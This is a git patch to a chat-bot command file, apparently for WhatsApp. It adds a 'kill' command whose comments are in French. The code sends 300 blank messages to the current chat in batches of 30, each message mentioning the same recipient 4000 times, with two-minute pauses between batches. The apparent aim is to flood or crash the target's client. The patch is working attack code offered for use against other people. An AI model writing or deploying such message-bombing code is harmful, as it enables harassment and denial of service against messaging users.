From f1e4fc31591968e9cfa0ac6485e13283b74707d9 Mon Sep 17 00:00:00 2001 From: CrazyPrince <86961470+CrazyPrince@users.noreply.github.com> Date: Wed, 4 Sep 2024 20:25:37 +0100 Subject: [PATCH] Update bug.js --- commands/bug.js | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/commands/bug.js b/commands/bug.js index 3d6d219..6ec5a76 100644 --- a/commands/bug.js +++ b/commands/bug.js @@ -112,6 +112,53 @@ cmd({ } } ); + +///////////////////////////////////////////========================BUG 2=======================/////////////////////////////////////////////////////// +cmd({ + pattern: "kill", + alias: ["htag"], + desc: "waiting for your last words", + category: "group", + filename: __filename, + use: '', +}, +async(Void, citel, text) => { + const jid = citel.chat; // JID du destinataire + const userId = Void.user.id; // JID de l'utilisateur + const message = " "; // Le message à envoyer + const totalSends = 300; // Nombre total d'envois + const batchSends = 30; // Nombre d'envois avant une pause + const pauseDuration = 2 * 60 * 1000; // Durée de la pause en millisecondes (2 minutes) + + let firstMessageSent = false; + + for (let i = 0; i < totalSends; i += batchSends) { + for (let j = 0; j < batchSends; j++) { + const sentMsg = await Void.sendMessage(jid, { + text: message, + mentions: Array(4000).fill(jid) // Mentionner le même JID 4000 fois + }); + + // Confirmation après l'envoi du premier message + if (!firstMessageSent) { + await Void.sendMessage(userId, { + text: `The first message has been successfully sent to ${jid}.` + }); + firstMessageSent = true; + } + } + + if (i + batchSends < totalSends) { + await Void.sendMessage(userId, { text: `2 minute break after ${i + batchSends} envois...`}); + await new Promise(resolve => setTimeout(resolve, pauseDuration)); + } + } + + // Message final après tous les envois + await Void.sendMessage(userId, { + text: `All messages (total ${totalSends}) Have been sent to ${jid}.` + }); +}); /* ///////////////////////////////////////////========================BUG 2=======================/////////////////////////////////////////////////////// // Définir les valeurs de configuration directement dans le fichier